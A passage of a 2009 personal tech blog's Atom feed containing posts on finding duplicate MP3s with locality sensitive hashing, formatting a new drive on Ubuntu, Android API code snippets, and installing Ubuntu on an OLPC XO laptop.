/&gt;      path = os.path.join(root, f)&lt;br /&gt;      try:&lt;br /&gt;        digest = get_mp3_digest(path)&lt;br /&gt;      except mutagen.id3.error, e:&lt;br /&gt;        print &gt;&gt;sys.stderr, 'Error generating digest for %r.\n%r' % (path, e)&lt;br /&gt;      else:&lt;br /&gt;        mp3s.setdefault(digest, []).append(path)&lt;br /&gt;  print &gt;&gt;sys.stderr, root&lt;br /&gt;&lt;br /&gt;for digest, paths in mp3s.items():&lt;br /&gt;  if len(paths) &gt; 1:&lt;br /&gt;    for path in paths:&lt;br /&gt;      print path&lt;br /&gt;    print&lt;/pre&gt;After that, I came across &lt;a href="http://www.mit.edu/%7Eandoni/LSH/"&gt;locality sensitive hashing&lt;/a&gt; (LSH) and decided it would be a nice way to speed up duplicate detection for non-exact duplicates. Here's my explanation of LSH in a nutshell. Pick some hash function that will result in collisions with similar values (i.e. concatenating a sampling of data from the value). For example, if your value was a list of four digits, pick the first two and concatenate them. That hash would have lots of collisions for similar values (any that share the same first two digits). Now, extend that hash function to include some randomness in the output. Instead of picking the first two integers in the list, pick a random two. If you hash the value many times, it creates a uniform distribution of hash keys based on the entire value you're hashing. So, similar values will often collide with each other. Once you've hashed all your values in this way, you can simply count up the collisions to find duplicates.&lt;br /&gt;&lt;br /&gt;My script is below, but here's a basic explanation of how it works:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Convert the path into all lower case, strip all non-alpha characters, and concatenate it into one long string.&lt;/li&gt;&lt;li&gt;Pick a random sample of &lt;i&gt;m&lt;/i&gt; letters from the resulting string and concatenate them into a hash key for the path.&lt;/li&gt;&lt;li&gt;Repeat &lt;i&gt;n&lt;/i&gt; times per path.&lt;/li&gt;&lt;li&gt;For each path and for each generate hash key per path, count up the number of collisions with other paths in the hash table.&lt;/li&gt;&lt;li&gt;For any paths which collide more than &lt;i&gt;t&lt;/i&gt; times, record the path as a duplicate.&lt;/li&gt;&lt;/ul&gt;This is a very fast process. If your duplicates have similar file names, you can quickly pare down the list of files to inspect further for better duplicate detection. I use the percent difference in audio length and then sort by bit rate quality. Here's the what I ended up with:&lt;pre class="prettyprint"&gt;import os&lt;br /&gt;import random&lt;br /&gt;import re&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;import mutagen&lt;br /&gt;from mutagen.mp3 import MP3&lt;br /&gt;&lt;br /&gt;NUM_CHARS_TO_PICK = 50  # Number of chars to pick from each path (sample size).&lt;br /&gt;NUM_BUCKETS_PER_PATH = 50  # Number of samples to pick from each path.&lt;br /&gt;MATCH_THRESHOLD = 5  # Number of collisions required to indicate a duplicate.&lt;br /&gt;PERCENT_DIFFERENCE_THRESHOLD = 0.025  # Threshold for matching length.&lt;br /&gt;&lt;br /&gt;NONALPHA_RE = re.compile(r'[^a-z]')&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def fuzzy_compare_mp3_length(path, other_path):&lt;br /&gt;  try:&lt;br /&gt;    audio = MP3(path)&lt;br /&gt;    other_audio = MP3(other_path)&lt;br /&gt;  except mutagen.mp3.error, e:&lt;br /&gt;    logging.error('Error comparing quality of %r and %r.\n%r' %&lt;br /&gt;        (path, other_path, e))&lt;br /&gt;    return False&lt;br /&gt;  pd = abs(audio.info.length - other_audio.info.length)&lt;br /&gt;  pd /= (audio.info.length + other_audio.info.length) / 2.0&lt;br /&gt;  return pd &lt; PERCENT_DIFFERENCE_THRESHOLD&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def compare_mp3_quality(path, other_path):&lt;br /&gt;  try:&lt;br /&gt;    audio = MP3(path)&lt;br /&gt;    other_audio = MP3(other_path)&lt;br /&gt;  except mutagen.mp3.error, e:&lt;br /&gt;    logging.error('Error comparing quality of %r and %r.\n%r' %&lt;br /&gt;        (path, other_path, e))&lt;br /&gt;    return 0&lt;br /&gt;  return audio.info.bitrate - other_audio.info.bitrate&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def hash(s):&lt;br /&gt;  indexes = random.sample(xrange(len(s)), NUM_CHARS_TO_PICK)&lt;br /&gt;  indexes.sort()&lt;br /&gt;  return ''.join(s[i] for i in indexes)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;buckets = {}&lt;br /&gt;paths = {}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# First we fill buckets using a LSH.&lt;br /&gt;for top in sys.argv[1:]:&lt;br /&gt;  for root, dirs, files in os.walk(top):&lt;br /&gt;    for f in files:&lt;br /&gt;      path = os.path.join(root, f)&lt;br /&gt;      name, ext = os.path.splitext(path[len(top):])&lt;br /&gt;      if ext != '.mp3':&lt;br /&gt;        continue&lt;br /&gt;      letters = NONALPHA_RE.sub('', name.lower())&lt;br /&gt;      # We need to pad any strings that are too short.&lt;br /&gt;      letters += 'x' * (NUM_CHARS_TO_PICK - len(letters))&lt;br /&gt;      for n in range(NUM_BUCKETS_PER_PATH):&lt;br /&gt;        bucket_key = hash(letters)&lt;br /&gt;        buckets.setdefault(bucket_key, []).append(path)&lt;br /&gt;        paths.setdefault(path, []).append(bucket_key)&lt;br /&gt;    print &gt;&gt;sys.stderr, root&lt;br /&gt;&lt;br /&gt;checked = []&lt;br /&gt;for path, path_bucket_keys in paths.iteritems():&lt;br /&gt;  # Skip already checked paths. We assume that duplicate detection is&lt;br /&gt;  # communitive. If dupe(A, B) and dupe(B, C) then dupe(A, C).&lt;br /&gt;  if path in checked:&lt;br /&gt;    continue&lt;br /&gt;  # Count up all the bucket collisions by path. This count includes our&lt;br /&gt;  # current path (it will exist once in all its own buckets)&lt;br /&gt;  collisions = {}&lt;br /&gt;  for bucket_key in path_bucket_keys:&lt;br /&gt;    for other_path in buckets[bucket_key]:&lt;br /&gt;      collisions[other_path] = collisions.get(other_path, 0) + 1&lt;br /&gt;  # All paths that collided more times than the threshold are duplicates.&lt;br /&gt;  dupes = set()&lt;br /&gt;  for other_path, count in collisions.iteritems():&lt;br /&gt;    if count &gt; MATCH_THRESHOLD:&lt;br /&gt;      dupes.add(other_path)&lt;br /&gt;  # If we have dupes based on path similarity, sort them by quality and remove&lt;br /&gt;  # any dupes with significantly different lengths.&lt;br /&gt;  if len(dupes) &gt; 1:&lt;br /&gt;    checked.extend(dupes)&lt;br /&gt;    dupes = sorted(dupes, cmp=compare_mp3_quality, reverse=True)&lt;br /&gt;    for dupe in dupes[1:]:&lt;br /&gt;      if not fuzzy_compare_mp3_length(dupes[0], dupe):&lt;br /&gt;        dupes.remove(dupe)&lt;br /&gt;  # If we still have dupes, output them to the rm script.&lt;br /&gt;  if len(dupes) &gt; 1:&lt;br /&gt;    print '# rm %r' % dupes[0]&lt;br /&gt;    for dupe in dupes[1:]:&lt;br /&gt;      print 'rm %r' % dupe&lt;br /&gt;    print&lt;/pre&gt;It was very snappy and worked quite well for me. There are several natural extensions of this that include looking at ID3 tags. It's possible I'll get around to that as well :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-5893152898426981826?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/vDjBKu4RafA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/5893152898426981826/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=5893152898426981826" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/5893152898426981826?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/5893152898426981826?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/vDjBKu4RafA/finding-duplicate-mp3s-using-locality.html" title="Finding Duplicate MP3s Using Locality Sensitive Hashing" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/03/finding-duplicate-mp3s-using-locality.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0cMRnY8fCp7ImA9WxVWGUw.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-7372593630103171079</id><published>2009-02-28T20:12:00.006+01:00</published><updated>2009-03-01T14:44:47.874+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-01T14:44:47.874+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="hardware" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Installing a New Hard Drive on Ubuntu</title><content type="html">Installing a new hard drive isn't a particularly arduous task, but there are a few commands I usually forget. Here are the steps I take after hooking up a new drive:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Run &lt;code&gt;fdisk -l&lt;/code&gt; and find the new drive's device (we'll call it xxx).&lt;/li&gt;&lt;li&gt;Run &lt;code&gt;sudo fdisk /dev/xxx&lt;/code&gt; and create a new primary partition (enter &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;p&lt;/code&gt;, &lt;code&gt;1&lt;/code&gt;, default, default).&lt;/li&gt;&lt;li&gt;Run &lt;code&gt;mkfs.ext3 /dev/xxx1&lt;/code&gt; to format the new partition.&lt;/li&gt;&lt;li&gt;Label the new ext3 partition using &lt;code&gt;sudo e2label &amp;lt;new-label&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Refresh &lt;code&gt;/dev/disk/by-uuid&lt;/code&gt; using &lt;code&gt;sudo /etc/init.d/udev restart&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Edit /etc/fstab to add the new partition to the list of mounts.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-7372593630103171079?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/vaLOeEP5BEQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/7372593630103171079/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=7372593630103171079" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7372593630103171079?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/7372593630103171079?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/vaLOeEP5BEQ/installing-hard-drive-ubuntu.html" title="Installing a New Hard Drive on Ubuntu" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/02/installing-hard-drive-ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcFRHk_fCp7ImA9WxVXFkw.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-2964318342933322974</id><published>2009-02-13T09:40:00.023+01:00</published><updated>2009-02-14T13:53:35.744+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-14T13:53:35.744+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="open source" /><category scheme="http://www.blogger.com/atom/ns#" term="android" /><category scheme="http://www.blogger.com/atom/ns#" term="recipes" /><title>Android Recipes and Snippets</title><content type="html">I've put together a small collection of Android recipes. For each of these recipes, &lt;code&gt;this&lt;/code&gt; is an instance of &lt;a href="http://developer.android.com/reference/android/content/Context.html"&gt;&lt;code&gt;Context&lt;/code&gt;&lt;/a&gt; (more specifically, &lt;a href="http://developer.android.com/reference/android/app/Activity.html"&gt;&lt;code&gt;Activity&lt;/code&gt;&lt;/a&gt; or &lt;a href="http://developer.android.com/reference/android/app/Service.html"&gt;&lt;code&gt;Service&lt;/code&gt;&lt;/a&gt;) unless otherwise noted. Enjoy :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Intents&lt;/span&gt;&lt;br /&gt;One of the coolest things about Android is &lt;a href="http://developer.android.com/reference/android/content/Intent.html"&gt;Intents&lt;/a&gt;. The two most common uses of Intents are starting an Activity (open an email, contact, etc.) and starting an Activity for a result (scan a barcode, take a picture to attach to an email, etc.). Intents are specified primarily using action strings and URIs. Here are some things you can do with the &lt;code&gt;android.intent.action.VIEW&lt;/code&gt; action and &lt;a href="http://developer.android.com/reference/android/content/Context.html#startActivity%28android.content.Intent%29"&gt;&lt;code&gt;startActivity()&lt;/code&gt;&lt;/a&gt;.&lt;pre class="prettyprint"&gt;Intent intent = new Intent(Intent.ACTION_VIEW);&lt;br /&gt;// Choose a value for uri from the following.&lt;br /&gt;// Search Google Maps: geo:0,0?q=query&lt;br /&gt;// Show contacts: content://contacts/people&lt;br /&gt;// Show a URL: http://www.google.com&lt;br /&gt;intent.setData(Uri.parse(uri));&lt;br /&gt;intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);&lt;br /&gt;startActivity(intent);&lt;/pre&gt;Other useful action/URI pairs include:&lt;ul&gt;&lt;li&gt;&lt;code&gt;Intent.ACTION_DIAL&lt;/code&gt;, &lt;code&gt;tel://8675309&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;Intent.ACTION_CALL&lt;/code&gt;, &lt;code&gt;tel://8675309&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;More interesting things are available when you use &lt;a href="http://developer.android.com/reference/android/app/Activity.html#startActivityForResult%28android.content.Intent,%20int%29"&gt;&lt;code&gt;startActivityForResult()&lt;/code&gt;&lt;/a&gt;. For example, to scan a barcode:&lt;pre class="prettyprint"&gt;Intent intent = new Intent("com.google.zxing.client.android.SCAN");&lt;br /&gt;startActivityForResult(intent, 0);&lt;/pre&gt;Then, add &lt;a href="http://developer.android.com/reference/android/app/Activity.html#onActivityResult%28int,%20int,%20android.content.Intent%29"&gt;&lt;code&gt;onActivityResult&lt;/code&gt;&lt;/a&gt; to your activity.&lt;pre class="prettyprint"&gt;@Override&lt;br /&gt;public void onActivityResult(int requestCode, int resultCode, Intent data) {&lt;br /&gt;  if (resultCode == Activity.RESULT_OK &amp;amp;&amp;amp; requestCode == 0) {&lt;br /&gt;    Bundle extras = data.getExtras();&lt;br /&gt;    String result = extras.getStringExtra("SCAN_RESULT");&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;Taking a picture is done like so:&lt;pre class="prettyprint"&gt;Intent intent = new Intent("android.media.action.IMAGE_CAPTURE");&lt;br /&gt;startActivityForResult(intent, 0);&lt;br /&gt;// ...&lt;br /&gt;&lt;br /&gt;@Override&lt;br /&gt;public void onActivityResult(int requestCode, int resultCode, Intent data) {&lt;br /&gt;  if (resultCode == Activity.RESULT_OK &amp;amp;&amp;amp; requestCode == 0) {&lt;br /&gt;    String result = data.toURI();&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;}&lt;/pre&gt;Check out the &lt;a href="http://www.openintents.org/en/intentstable"&gt;OpenIntents registry&lt;/a&gt; for more information.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Wifi&lt;/span&gt;&lt;br /&gt;The &lt;a href="http://developer.android.com/reference/android/net/wifi/WifiManager.html"&gt;&lt;code&gt;WifiManager&lt;/code&gt;&lt;/a&gt; can be used to enable and disable wifi. Where &lt;code&gt;enabled&lt;/code&gt; is a boolean, it's as easy as:&lt;pre class="prettyprint"&gt;WifiManager wifi = (WifiManager) &lt;a href="http://developer.android.com/reference/android/content/Context.html#getSystemService%28java.lang.String%29"&gt;getSystemService&lt;/a&gt;(Context.WIFI_SERVICE);&lt;br /&gt;wifi.setWifiEnabled(enabled);&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Notifications&lt;/span&gt;&lt;br /&gt;Text notifications (called &lt;code&gt;&lt;a href="http://developer.android.com/reference/android/widget/Toast.html"&gt;Toast&lt;/a&gt;&lt;/code&gt;) which appear briefly above all activities are also easy:&lt;pre class="prettyprint"&gt;Toast.makeText(this, message, Toast.LENGTH_SHORT).show();&lt;/pre&gt;You can increase the time the notification is displayed by using &lt;code&gt;Toast.LENGTH_LONG&lt;/code&gt; instead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Alert and Input Dialogs&lt;/span&gt;&lt;br /&gt;Sometimes it's useful to prompt the user for input. An easy way to do that without creating a new layout is to use &lt;a href="http://developer.android.com/reference/android/app/AlertDialog.Builder.html"&gt;&lt;code&gt;AlertDialog.Builder&lt;/code&gt;&lt;/a&gt;.&lt;pre class="prettyprint"&gt;AlertDialog.Builder alert = new AlertDialog.Builder(this);&lt;br /&gt;alert.setTitle(title);&lt;br /&gt;alert.setMessage(message);&lt;br /&gt;&lt;br /&gt;// You can set an EditText view to get user input besides&lt;br /&gt;// which button was pressed.&lt;br /&gt;final EditText input = new EditText(this);&lt;br /&gt;alert.setView(input);&lt;br /&gt;&lt;br /&gt;alert.setPositiveButton("Ok", new &lt;a href="http://developer.android.com/reference/android/content/DialogInterface.html"&gt;DialogInterface&lt;/a&gt;.OnClickListener() {&lt;br /&gt;public void onClick(DialogInterface dialog, int whichButton) {&lt;br /&gt;  String value = input.getText();&lt;br /&gt;  // Do something with value!&lt;br /&gt;  }&lt;br /&gt;});&lt;br /&gt;alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() {&lt;br /&gt;  public void onClick(DialogInterface dialog, int whichButton) {&lt;br /&gt;    // Canceled.&lt;br /&gt;  }&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;alert.show();&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Location&lt;/span&gt;&lt;br /&gt;Use the &lt;a href="http://developer.android.com/reference/android/location/LocationManager.html"&gt;&lt;code&gt;LocationManager&lt;/code&gt;&lt;/a&gt; to start up the GPS and listen for location updates.&lt;pre class="prettyprint"&gt;LocationManager locator = (LocationManager) getSystemService(Context.LOCATION_SERVICE);&lt;br /&gt;&lt;a href="http://developer.android.com/reference/android/location/LocationListener.html"&gt;LocationListener&lt;/a&gt; mLocationListener = new LocationListener() {&lt;br /&gt;  public void onLocationChanged(&lt;a href="http://developer.android.com/reference/android/location/Location.html"&gt;Location&lt;/a&gt; location) {&lt;br /&gt;    if (location != null) {&lt;br /&gt;      location.getAltitude();&lt;br /&gt;      location.getLatitude();&lt;br /&gt;      location.getLongitude();&lt;br /&gt;      location.getTime();&lt;br /&gt;      location.getAccuracy();&lt;br /&gt;      location.getSpeed();&lt;br /&gt;      location.getProvider();&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public void onProviderDisabled(String provider) {&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public void onProviderEnabled(String provider) {&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public void onStatusChanged(String provider, int status, Bundle extras) {&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// You need to specify a Criteria for picking the location data source.&lt;br /&gt;// The criteria can include power requirements.&lt;br /&gt;&lt;a href="http://developer.android.com/reference/android/location/Criteria.html"&gt;Criteria&lt;/a&gt; criteria = new Criteria();&lt;br /&gt;criteria.setAccuracy(Criteria.ACCURACY_COARSE);  // Faster, no GPS fix.&lt;br /&gt;criteria.setAccuracy(Criteria.ACCURACY_FINE);  // More accurate, GPS fix.&lt;br /&gt;// You can specify the time and distance between location updates.&lt;br /&gt;// Both are useful for reducing power requirements.&lt;br /&gt;mLocationManager.requestLocationUpdates(mLocationManager.getBestProvider(criteria, true),&lt;br /&gt;    MIN_LOCATION_UPDATE_TIME, MIN_LOCATION_UPDATE_DISTANCE, mLocationListener,&lt;br /&gt;    getMainLooper());&lt;/pre&gt;You can also get the phone's last known location using the &lt;code&gt;LocationManager&lt;/code&gt;. This is faster than setting up a &lt;code&gt;LocationListener&lt;/code&gt; and waiting for a fix.&lt;pre class="prettyprint"&gt;// Start with fine location.&lt;br /&gt;Location l = locator.getLastKnownLocation(LocationManager.GPS_PROVIDER);&lt;br /&gt;if (l == null) {&lt;br /&gt;  // Fall back to coarse location.&lt;br /&gt;  l = locator.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);&lt;br /&gt;}&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;SMS&lt;/span&gt;&lt;br /&gt;Sending a text is done with the &lt;a href="http://developer.android.com/reference/android/telephony/gsm/SmsManager.html"&gt;&lt;code&gt;SmsManager&lt;/code&gt;&lt;/a&gt;.&lt;pre class="prettyprint"&gt;SmsManager m = SmsManager.getDefault();&lt;br /&gt;String destination = "8675309";&lt;br /&gt;String text = "Hello, Jenny!";&lt;br /&gt;m.sendTextMessage(destination, null, text, null, null);&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Vibrate&lt;/span&gt;&lt;br /&gt;You can vibrate the phone for a specified duration like so:&lt;pre class="prettyprint"&gt;(&lt;a href="http://developer.android.com/reference/android/os/Vibrator.html"&gt;Vibrator&lt;/a&gt;) getSystemService(Context.VIBRATOR_SERVICE).vibrate(milliseconds);&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Sensors&lt;/span&gt;&lt;br /&gt;Accessing sensor data is done using the &lt;a href="http://developer.android.com/reference/android/hardware/SensorManager.html"&gt;&lt;code&gt;SensorManager&lt;/code&gt;&lt;/a&gt;.&lt;pre class="prettyprint"&gt;SensorManager mSensorManager = (SensorManager) getSystemService(Activity.SENSOR_SERVICE);&lt;br /&gt;private final &lt;a href="http://developer.android.com/reference/android/hardware/SensorListener.html"&gt;SensorListener&lt;/a&gt; mSensorListener = new SensorListener() {&lt;br /&gt;  public void onAccuracyChanged(int sensor, int accuracy) {&lt;br /&gt;    // ...&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  public void onSensorChanged(int sensor, float[] values) {&lt;br /&gt;    switch (sensor) {&lt;br /&gt;      case SensorManager.SENSOR_ORIENTATION:&lt;br /&gt;        float azimuth = values[0];&lt;br /&gt;        float pitch = values[1];&lt;br /&gt;        float roll = values[2];&lt;br /&gt;        break;&lt;br /&gt;      case SensorManager.SENSOR_ACCELEROMETER:&lt;br /&gt;        float xforce = values[0];&lt;br /&gt;        float yforce = values[1];&lt;br /&gt;        float zforce = values[2];&lt;br /&gt;        break;&lt;br /&gt;      case SensorManager.SENSOR_MAGNETIC_FIELD:&lt;br /&gt;        float xmag = values[0];&lt;br /&gt;        float ymag = values[1];&lt;br /&gt;        float zmag = values[2];&lt;br /&gt;        break;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;// Start listening to all sensors.&lt;br /&gt;mSensorManager.registerListener(mSensorListener, mSensorManager.getSensors());&lt;br /&gt;// ...&lt;br /&gt;// Stop listening to sensors.&lt;br /&gt;mSensorManager.unregisterListener(mSensorListener);&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Silence Ringer&lt;/span&gt;&lt;br /&gt;You can use the &lt;a href="http://developer.android.com/reference/android/media/AudioManager.html"&gt;&lt;code&gt;AudioManager&lt;/code&gt;&lt;/a&gt; to enable and disable silent mode.&lt;pre class="prettyprint"&gt;mAudio = (AudioManager) getSystemService(Activity.AUDIO_SERVICE);&lt;br /&gt;mAudio.setRingerMode(AudioManager.RINGER_MODE_SILENT);&lt;br /&gt;// or...&lt;br /&gt;mAudio.setRingerMode(AudioManager.RINGER_MODE_NORMAL);&lt;/pre&gt;&lt;span style="font-weight: bold;"&gt;Useful Links&lt;br /&gt;&lt;/span&gt;That's it from me for now. But, here are some useful sources of more information:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The official &lt;a href="http://developer.android.com/"&gt;Android developer&lt;/a&gt; site. It used to be on Google Code, but it has since moved.&lt;/li&gt;&lt;li&gt;The &lt;a href="http://source.android.com/download"&gt;Android source code&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Mike's guide to &lt;a href="http://blog.michael-forster.de/2008/12/view-android-source-code-in-eclipse.html"&gt;browsing the Android source&lt;/a&gt; tree in Eclipse.&lt;/li&gt;&lt;li&gt;&lt;a href="http://code.google.com/p/apps-for-android/"&gt;Sample Android applications&lt;/a&gt; from Google.&lt;/li&gt;&lt;li&gt;And, of course, &lt;a href="http://www.google.com/codesearch"&gt;Google Code Search&lt;/a&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-2964318342933322974?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/AV2eA4IXyJE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/2964318342933322974/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3604425971259502766&amp;postID=2964318342933322974" title="3 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/2964318342933322974?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3604425971259502766/posts/default/2964318342933322974?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/damonkohler/~3/AV2eA4IXyJE/android-recipes.html" title="Android Recipes and Snippets" /><author><name>Damon</name><uri>http://www.blogger.com/profile/17362087152286203901</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="03757104139415985158" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://www.damonkohler.com/2009/02/android-recipes.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEHSXo_eCp7ImA9WxVXE0U.&quot;"><id>tag:blogger.com,1999:blog-3604425971259502766.post-7712970923327202076</id><published>2009-02-11T18:46:00.007+01:00</published><updated>2009-02-11T21:20:38.440+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-11T21:20:38.440+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="olpc" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu" /><title>Ubuntu on the OLPC XO</title><content type="html">Between last night and early this morning, I got Ubuntu Intrepid running on my XO using a SanDisk Extreme III 4GB SD card. There's lots of instruction available on the subject, but it took the combination of several sources of information to get it working for me. My findings and suggestions are below.&lt;br /&gt;&lt;br /&gt;To do this trick, you'll need a USB stick with at least 1GB of space and an SD card with at least 2GB of space (you'll erase both of them completely later). Start off by reading &lt;a href="http://www.olpcnews.com/forum/index.php?topic=4053.0"&gt;teapot's instructions&lt;/a&gt; for installing Intrepid. Start downloading the bzip archive (don't put it on your USB stick yet). Check to make sure you have a &lt;a href="http://wiki.laptop.org/go/Activation_and_Developer_Keys"&gt;developer key&lt;/a&gt; and that your XO build and firmware are up-to-date.&lt;br /&gt;&lt;br /&gt;Now that you &lt;span style="font-style: italic;"&gt;think&lt;/span&gt; you're up to date, you &lt;a href="http://www.olpcnews.com/forum/index.php?topic=4053.msg28084#msg28084"&gt;need to update your firmware to version Q2E24&lt;/a&gt;. Download this &lt;a href="http://xs-dev.laptop.org/%7Ecscott/xo-1/streams/joyride/build2610/devel_ext3/xo-1-olpc-stream-joyride-devel_ext3.img.bz2"&gt;Joyride build&lt;/a&gt; and follow these &lt;a href="http://wiki.laptop.org/go/OS_images_for_USB_disks"&gt;directions&lt;/a&gt; to write it to your USB stick. Connect the USB stick and reboot your XO. After it reboots, it will start updating your firmware before rebooting itself again. Once it shuts down to reboot, remove the USB stick before it powers back on again. (If you don't manage in time, it's not a big deal. Just shutdown, and remove the USB stick before turning it on again.)&lt;br /&gt;&lt;br /&gt;Now, follow teacup's directions up through erasing the MBR and partition table on the SD card. Instead of using his fancy echo command and &lt;code&gt;sfdisk&lt;/code&gt;, I'd recommend using &lt;code&gt;fdisk&lt;/code&gt; as per &lt;a href="http://sprocket.io/blog/2008/05/ubuntu-hardy-heron-on-the-olpc-xo-1/"&gt;his instructions for Hardy&lt;/a&gt;. There are reports of people having &lt;a href="http://www.olpcnews.com/forum/index.php?topic=4053.msg27485#msg27485"&gt;trouble&lt;/a&gt; with &lt;code&gt;sfdisk&lt;/code&gt;. All I can say is, &lt;code&gt;fdisk&lt;/code&gt; worked for me.&lt;br /&gt;&lt;br /&gt;Continue to follow his instructions for Intrepid until you're ready to reboot. Now, edit &lt;code&gt;/mnt/boot/olpc.fth&lt;/code&gt; and delete the "\" from the line that reads &lt;code&gt;\ unfreeze&lt;/code&gt; so that it just reads &lt;code&gt;unfreeze&lt;/code&gt;. (You can read &lt;a href="http://olpcnews.com/forum/index.php?topic=1767.0"&gt;more about unfreeze here&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;Finally, pick up where you left off with teapot's instructions.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3604425971259502766-7712970923327202076?l=www.damonkohler.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/damonkohler/~4/3l2z99VApC4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.damonkohler.com/feeds/7712970923327202076/comments/default" title="Post Comments" /><link 